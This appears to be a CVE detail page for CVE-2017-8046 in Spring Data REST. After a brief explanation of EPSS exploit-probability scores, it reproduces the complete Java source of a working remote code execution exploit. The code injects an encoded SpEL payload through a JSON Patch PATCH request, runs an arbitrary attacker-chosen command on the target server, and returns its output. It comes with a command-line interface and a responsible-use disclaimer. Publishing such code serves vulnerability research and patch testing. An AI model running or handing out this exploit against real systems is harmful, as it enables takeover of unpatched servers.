CVE-2017-8046 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// Exploit Title: RCE in PATCH requests in Spring Data REST // Date: 2018-03-10 // Exploit Author: Antonio Francesco Sardella // Vendor Homepage: https://pivotal.io/ // Software Link: https://projects.spring.io/spring-data-rest/ // Version: Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1) // Tested on: 'Microsoft Windows 7' and 'Xubuntu 17.10.1' with 'spring-boot-starter-data-rest' version '1.5.6.RELEASE' // CVE: CVE-2017-8046 // Category: Webapps // Repository: https://github.com/m3ssap0/spring-break_cve-2017-8046 // Example Vulnerable Application: https://github.com/m3ssap0/SpringBreakVulnerableApp // Vulnerability discovered and reported by: Man Yue Mo from Semmle and lgtm.com package com.afs.exploit.spring; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.URI; import java.net.URISyntaxException; import org.apache.http.HttpResponse; import org.apache.http.client.HttpClient; import org.apache.http.client.methods.HttpPatch; import org.apache.http.entity.StringEntity; import org.apache.http.impl.client.HttpClientBuilder; /** * This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046). * This software is written to have as less external dependencies as possible. * DISCLAIMER: This tool is intended for security engineers and appsec guys for security assessments. Please * use this tool responsibly. I do not take responsibility for the way in which any one uses this application. * I am NOT responsible for any damages caused or any crimes committed by using this tool. * .................. * . CVE-ID ........: CVE-2017-8046 * . Link ..........: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046 * . Description ...: Malicious PATCH requests submitted to spring-data-rest servers in Pivotal Spring Data REST * .................. versions prior to 2.5.12, 2.6.7, 3.0 RC3, Spring Boot versions prior to 2.0.0M4, and Spring * .................. Data release trains prior to Kay-RC3 can use specially crafted JSON data to run arbitrary * .................. Java code. * .................. * * @author Antonio Francesco Sardella */ public class SpringBreakCve20178046 { /** * Version string. */ private static final String VERSION = "v1.0 (2018-03-10)"; /** * The JSON Patch object. */ private static String JSON_PATCH_OBJECT = "[{ \"op\" : \"replace\", \"path\" : \"%s\", \"value\" : \"pwned\" }]"; /** * This is a way to bypass the split and 'replace' * logic performed by the framework on slashes. */ private static String SLASH = "T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))"; /** * Used to encode chars. */ private static String CHAR_ENCODING = "T(java.lang.Character).toChars(%d)[0]"; /** * Malicious payload. */ private static String PAYLOAD; /** * Malicious payload initialization. */ static { PAYLOAD = "T(org.springframework.util.StreamUtils).copy("; PAYLOAD += "T(java.lang.Runtime).getRuntime().exec("; PAYLOAD += "("; PAYLOAD += "T(java.lang.System).getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")"; PAYLOAD += "?"; PAYLOAD += "\\\"cmd \\\"+" + SLASH + "+\\\"c \\\""; PAYLOAD += ":"; PAYLOAD += "\\\"\\\""; PAYLOAD += ")+"; PAYLOAD += "%s"; // The encoded command will be placed here. PAYLOAD += ").getInputStream()"; PAYLOAD += ","; PAYLOAD += "T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()"; PAYLOAD += ".getResponse().getOutputStream()"; PAYLOAD += ").x"; } /** * Error cause string that can be used to "clean the response." */ private static String ERROR_CAUSE = "{\"cause"; /** * The target URL. */ private URI url; /** * The command that will be executed on the remote machine. */ private String command; /** * Cookies that will be passed. */ private String cookies; /** * Flag used to remove error messages in output due to * the usage of the exploit. It could hide error messages * if the request fails for other reasons. */ private boolean cleanResponse; /** * Verbosity flag. */ private boolean verbose; /** * Default constructor. */ public SpringBreakCve20178046() { this.verbose = false; this.cleanResponse = false; } /** * Performs the exploit. * * @throws IOException * If something bad occurs during HTTP GET. */ public void exploit() throws IOException { checkInput(); printInput(); String payload = preparePayload(); String response = httpPatch(payload); printOutput(response); } /** * Checks the input. */ private void checkInput() { if (this.url == null) { throw new IllegalArgumentException("URL must be passed."); } if (isEmpty(this.command)) { throw new IllegalArgumentException("Command must be passed."); } } /** * Prints input if verbose flag is true. */ private void printInput() { if (isVerbose()) { System.out.println("[*] Target URL ........: " + this.url); System.out.println("[*] Command ...........: " + this.command); System.out.println("[*] Cookies ...........: " + (isEmpty(this.cookies) ? "(no cookies)" : this.cookies)); } } /** * Prepares the payload. * * @return The malicious payload that will be injected. */ private String preparePayload() { System.out.println("[*] Preparing payload."); String command = encodingCommand(); // Encoding inserted command. String payload = String.format(PAYLOAD, command); // Preparing Java payload. payload = String.format(JSON_PATCH_OBJECT, payload); // Placing payload into JSON Patch object. if (isVerbose()) { System.out.println("[*] Payload ...........: " + payload); } return payload; } /** * Encodes the inserted command. * PROS: No problems in interpreting things. * CONS: Payload too long. * * @return The encoded command. */ private String encodingCommand() { StringBuffer encodedCommand = new StringBuffer("T(java.lang.String).valueOf(new char[]{"); int commandLength = this.command.length(); for (int i = 0; i < commandLength; i++) { encodedCommand.append(String.format(CHAR_ENCODING, (int) this.command.charAt(i))); if (i + 1 < commandLength) { encodedCommand.append(","); } } encodedCommand.append("})"); if (isVerbose()) { System.out.println("[*] Encoded command ...: " + encodedCommand.toString()); } return encodedCommand.toString(); } /** * HTTP PATCH operation on the target passing the malicious payload. * * @param payload * The malicious payload. * @return The response as a string. * @throws IOException * If something bad occurs during HTTP GET. */ private String httpPatch(String payload) throws IOException { System.out.println("[*] Sending payload."); // Preparing PATCH operation. HttpClient client = HttpClientBuilder.create().build(); HttpPatch patch = new HttpPatch(this.url); patch.setHeader("User-Agent", "Mozilla/5.0"); patch.setHeader("Accept-Language", "en-US,en;q=0.5"); patch.setHeader("Content-Type", "application/json-patch+json"); // This is a JSON Patch. if (!isEmpty(this.cookies)) { patch.setHeader("Cookie", this.cookies); } patch.setEntity(new StringEntity(payload)); // Response string. StringBuffer response = new StringBuffer(); // Executing PATCH operation. HttpResponse httpResponse = client.execute(patch); if (httpResponse != null) { // Reading response code. if (httpResponse.getStatusLine() != null) { int responseCode = httpResponse.getStatusLine().getStatusCode(); System.out.println("[*] HTTP " + responseCode); } else { System.out.println("[!] HTTP response code can't be read."); } // Reading response content. if (httpResponse.getEntity() != null && httpResponse.getEntity().getContent() != null) { BufferedReader in = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent())); String inputLine; while ((inputLine = in.readLine()) != null) { response.append(inputLine); response.append(System.getProperty("line.separator")); } in.close(); } else { System.out.println("[!] HTTP response content can't be read."); } } else { System.out.println("[!] HTTP response is null."); } return response.toString(); } /** * Prints output. * * @param response * Response that will be printed. */ private void printOutput(String response) { if (!isEmpty(response)) { System.out.println("[*] vvv Response vvv"); // Cleaning response (if possible). if (isCleanResponse() && response.contains(ERROR_CAUSE)) { String cleanedResponse = response.split("\\" + ERROR_CAUSE)[0]; System.out.println(cleanedResponse); } else { System.out.println(response); } System.out.println("[*] ^^^ ======== ^^^"); } } /** * Checks if an input string is null/empty or not. * * @param input * The input string to check. * @return True if the string is null or empty, false otherwise. */ private boolean isEmpty(String input) { boolean isEmpty; if (input == null || input.trim().length() < 1) { isEmpty = true; } else { isEmpty = false; } return isEmpty; } /* Getters and setters. */ public boolean isVerbose() { return verbose; } public void setVerbose(boolean verbose) { this.verbose = verbose; } public void setUrl(String url) throws URISyntaxException { if (isEmpty(url)) { throw new IllegalArgumentException("URL must be not null and not empty."); } this.url = new URI(url.trim()); } public void setCommand(String command) { if (isEmpty(command)) { throw new IllegalArgumentException("Command must be not null and not empty."); } this.command = command.trim(); } public void setCookies(String cookies) { if (cookies != null) { cookies = cookies.trim(); } this.cookies = cookies; } public boolean isCleanResponse() { return cleanResponse; } public void setCleanResponse(boolean cleanResponse) { this.cleanResponse = cleanResponse; } /** * Shows the program help. */ public static final void help() { System.out.println("Usage:"); System.out.println(" java -jar spring-break_cve-2017-8046.jar [options]"); System.out.println("Description:"); System.out.println(" Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046)."); System.out.println("Options:"); System.out.println(" -h, --help"); System.out.println(" Prints this help and exits."); System.out.println(" -u, --url [target_URL]"); System.out.println(" The target URL where the exploit will be performed."); System.out.println(" You have to choose an existent resource."); System.out.println(" -cmd, --command [command_to_execute]"); System.out.println(" The command that will be executed on the remote machine."); System.out.println(" --cookies [cookies]"); System.out.println(" Optional. Cookies passed into the request, e.g. authentication cookies."); System.out.println(" --clean"); System.out.println(" Optional. Removes error messages in output due to the usage of the"); System.out.println(" exploit. It could hide error messages if the request fails for other reasons."); System.out.println(" -v, --verbose"); System.out.println(" Optional. Increase verbosity."); } /** * Main method. * * @param args * Input arguments */ public static void main(String[] args) { try { System.out.println("'Spring Break' RCE (CVE-2017-8046) - " + VERSION); SpringBreakCve20178046 o = new SpringBreakCve20178046(); if (args.length > 0) { for (int i = 0; i < args.length; i++) { String p = args[i]; if (("-h".equals(p) || "--help".equals(p)) && i == 0) { SpringBreakCve20178046.help(); return; } else if ("-u".equals(p) || "--url".equals(p)) { if (i + 1 > args.length - 1) { throw new IllegalArgumentException("URL must be passed."); } o.setUrl(args[++i]); } else if ("-cmd".equals(p) || "--command".equals(p)) { if (i + 1 > args.length - 1) { throw new IllegalArgumentException("Command must be passed."); } o.setCommand(args[++i]); } else if ("--cookies".equals(p)) { if (i + 1 > args.length - 1) { throw new IllegalArgumentException("Cookies must be passed, if specified."); } o.setCookies(args[++i]); } else if ("--clean".equals(p)) { o.setCleanResponse(true); } else if ("-v".equals(p) || "--verbose".equals(p)) { o.setVerbose(true); } } // Performing the exploit. o.exploit(); } else { // Wrong number of arguments. SpringBreakCve20178046.help(); return; } } catch (URISyntaxException use) { System.out.println("[!] Input error (URI syntax exception): " + use.getMessage()); } catch (IllegalArgumentException iae) { System.out.println("[!] Input error (illegal argument): " + iae.getMessage()); } catch (Exception e) { System.out.println("[!] Unexpected exception: " + e.getMessage()); e.printStackTrace(); } } }